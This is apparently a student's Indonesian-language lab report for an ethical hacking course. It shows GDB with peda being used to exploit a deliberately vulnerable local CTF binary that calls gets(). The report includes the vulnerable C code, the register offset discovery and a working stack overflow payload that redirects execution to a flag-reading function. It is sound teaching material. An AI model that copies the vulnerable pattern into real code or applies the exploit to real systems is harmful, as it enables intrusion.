GDB for reverse engineers

Pradipta Davi Valendra
2006462664

1. **Ringkasan isi video**
    a. Video Pertama (GDB Tutorial): Video ini mengajarkan mengenai aplikasi GDB (GNU Debugger), yaitu debugger untuk eksekusi program. Kita diajarkan cara setup GDB + plugin peda, disertai semua command-command/shortcut penting untuk membantu kita debug proses eksekusi sebuah program.
    b. Video Kedua (Cyber Security gdb-peda demo): Video ini mendemonstrasikan penggunaan GDB+peda untuk membantu membuat buffer overflow exploit sebagai solusi CTF. Kita ditunjukkan penggunaan GDB untuk mengetahui address register function terletak pada .c file dan mengetahui address-address register serta seberapa besar ukuran buffernya, agar dapat membuat sebuah string padding + payload untuk eksploitasi stack dan meletakkan payload tersebut pada return address.
2. **Ringkasan praktik**
    Pada praktik ini saya memodifikasi kode c yang diberikan pada CTFPICO2022 agar dapat dijalankan pada laptop saya. Untuk persiapan praktik ini saya menginstall WSL sebab OS saya adalah windows, disertai dengan install GDB + plugin peda, python3, pip, dan pwntools. Saya menyiapkan folder berisi flag dengan kode c tersebut.
    Mengikuti video kedua, saya compile kode C tadi dengan GCC, namun dengan parameter -m32 agar 32 bit seperti pada video dan -fno-stack-protector, agar dapat melakukan buffer overflow exploit.
    Lalu saya menggunakan GDB untuk mencari tahu offset dari register-register, alamat dari function win (yang akan membaca file flag.txt), dengan bantuan pattern_create + pattern_search builtin peda. Alamat function win yang didapat harus diubah menjadi little endian dahulu sebab CPU AMD mesin saya, dengan bantuan python3 dan pwntools. Pada akhirnya saya membuat payload dengan mengisi buffer penuh character 'A' sebanyak 44 kali (offset register EIP), lalu menambah alamat little endian dari function win dan berhasil membaca flag.txt pada folder.
3. **Screenshot praktik**

a. Kode c "vuln"

valordra@Administrator: /mnt/g/My Drive/Fasilkom Stuff/Semester 6/Ethical Hacking/CTFs/Week 1/praktik buffer overflow

GNU nano 6.2

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
    char buf[FLAGSIZE];
    FILE *f = fopen("flag.txt","r");
    if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
               "own debugging flag.\n");
        exit(0);
    }

    fgets(buf,FLAGSIZE,f);
    printf(buf);
}

void vuln(){
    char buf[BUFSIZE];
    gets(buf);

    printf("Kita akan return alamat... 0x%x\n", __builtin_return_address(0));
}

int main(int argc, char **argv){

    setvbuf(stdout, NULL, _IONBF, 0);

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    puts("Masukkan string: ");
    vuln();
    return 0;
}
```

b. Isi awal folder, terdapat flag dan kode c

```
valordra@Administrator:/mnt/g/My Drive/Fasilkom Stuff/Semester 6/Ethical Hacking/CTFs/Week 1/praktik buffer overflow$ ls
flag.txt  vuln.c
```

c. Compiling kode c dengan GCC dengan parameter 32 bit (agar mirip seperti video) dan parameter mematikan stack-protector (agar dapat melakukan buffer overflow exploit)

```
valordra@Administrator:/mnt/g/My Drive/Fasilkom Stuff/Semester 6/Ethical Hacking/CTFs/Week 1/praktik buffer overflow$ gcc -m32 vuln.c -o vuln -fno-stack-protector

vuln.c: In function ‘win’:
vuln.c:20:12: warning: format not a string literal and no format arguments [-Wformat-security]
   20 |     printf(buf);
      |            ^~~
vuln.c: In function ‘vuln’:
vuln.c:25:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
   25 |     gets(buf);
      |     ^~~~
      |     fgets
vuln.c:27:43: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘void *’ [-Wformat=]
   27 |     printf("Kita akan return alamat... 0x%x\n", __builtin_return_address(0));
      |                                          ~^     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      |                                           |     |
      |                                           |     void *
      |                                           unsigned int
      |                                          %p
vuln.c: In function ‘main’:
vuln.c:35:5: warning: implicit declaration of function ‘setresgid’; did you mean ‘setregid’? [-Wimplicit-function-declaration]
   35 |     setresgid(gid, gid, gid);
      |     ^~~~~~~~~
      |     setregid
/usr/bin/ld: /tmp/cck24h3m.o: in function `vuln':
vuln.c:(.text+0xa1): warning: the `gets' function is dangerous and should not be used.
valordra@Administrator:/mnt/g/My Drive/Fasilkom Stuff/Semester 6/Ethical Hacking/CTFs/Week 1/praktik buffer overflow$ ls
flag.txt  vuln  vuln.c
```

d. Run GDB pada binary file yang kita compile dengan satu test run

```
valordra@Administrator:/mnt/g/My Drive/Fasilkom Stuff/Semester 6/Ethical Hacking/CTFs/Week 1/praktik buffer overflow$ gdb ./vuln
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ run
Starting program: /mnt/g/My Drive/Fasilkom Stuff/Semester 6/Ethical Hacking/CTFs/Week 1/praktik buffer overflow/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Masukkan string:
halo
Kita akan return alamat... 0x56556348
```

e. Membuat overflow pattern dan memasuki pada program untuk mencari offset register

```
gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run
Starting program: /mnt/g/My Drive/Fasilkom Stuff/Semester 6/Ethical Hacking/CTFs/Week 1/praktik buffer overflow/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Masukkan string:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Kita akan return alamat... 0x41414641

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x26 ('&')
EBX: 0x61414145 ('EAAa')
ECX: 0x26 ('&')
EDX: 0x0
ESI: 0xffffce74 --> 0xffffcfb7 ("/mnt/g/My Drive/Fasilkom Stuff/Semester 6/Ethical Hacking/CTFs/Week 1/praktik buffer overflow/vuln")
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x41304141 ('AA0A')
ESP: 0xffffcd90 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffcd90 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffcd94 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffcd98 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffcd9c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffcda0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffcda4 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffcda8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffcdac ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[----------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
```

```
gdb-peda$ pattern_search
Registers contain pattern buffer:
EBX+0 found at offset: 36
EBP+0 found at offset: 40
EIP+0 found at offset: 44
Registers point to pattern buffer:
```

f. Menjalankan info functions untuk mencari alamat function win

```
gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x56556000  _init
0x56556040  __libc_start_main@plt
0x56556050  printf@plt
0x56556060  gets@plt
0x56556070  fgets@plt
0x56556080  getegid@plt
0x56556090  puts@plt
0x565560a0  exit@plt
0x565560b0  setvbuf@plt
0x565560c0  fopen@plt
0x565560d0  setresgid@plt
0x565560e0  __cxa_finalize@plt
0x565560f0  _start
0x56556120  __x86.get_pc_thunk.bx
0x56556130  deregister_tm_clones
0x56556170  register_tm_clones
0x565561c0  __do_global_dtors_aux
0x56556210  frame_dummy
0x56556219  __x86.get_pc_thunk.dx
0x5655621d  win
```

g. Merubah alamat menjadi little endian (CPU AMD)

```
valordra@Administrator:/mnt/g/My Drive/Fasilkom Stuff/Semester 6/Ethical Hacking/CTFs/Week 1/praktik buffer overflow$ python3
Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pwn
>>> pwn.p32(0x5655621d)
b'\x1dbUV'
>>>
```

h. Membuat payload sesuai dengan offset register EIP dengan alamat function win, lalu menjalankan program dengan payload tersebut dan mendapatkan flag.

```
valordra@Administrator:/mnt/g/My Drive/Fasilkom Stuff/Semester 6/Ethical Hacking/CTFs/Week 1/praktik buffer overflow$ overflow=$(python3 -c "import sys; sys.stdout.buffer.write(b'A'*44 + b'\x1dbUV')")
valordra@Administrator:/mnt/g/My Drive/Fasilkom Stuff/Semester 6/Ethical Hacking/CTFs/Week 1/praktik buffer overflow$ echo $overflow | ./vuln
Masukkan string:
Kita akan return alamat... 0x5655621d
hore kita dapat flag!Segmentation fault
valordra@Administrator:/mnt/g/My Drive/Fasilkom Stuff/Semester 6/Ethical Hacking/CTFs/Week 1/praktik buffer overflow$
```

4. Refleksi

Pada praktik ini saya paling sulit pada perbedaan hardware saya dengan video kedua, belum biasanya penggunaan WSL, dan masih belum biasa membaca informasi-informasi yang diberikan oleh GDB. Saya masih terlalu mengandalkan stackoverflow dan google. Saya juga kesulitan pada modifikasi kode C sebab belum terlalu biasa dengan bahasanya.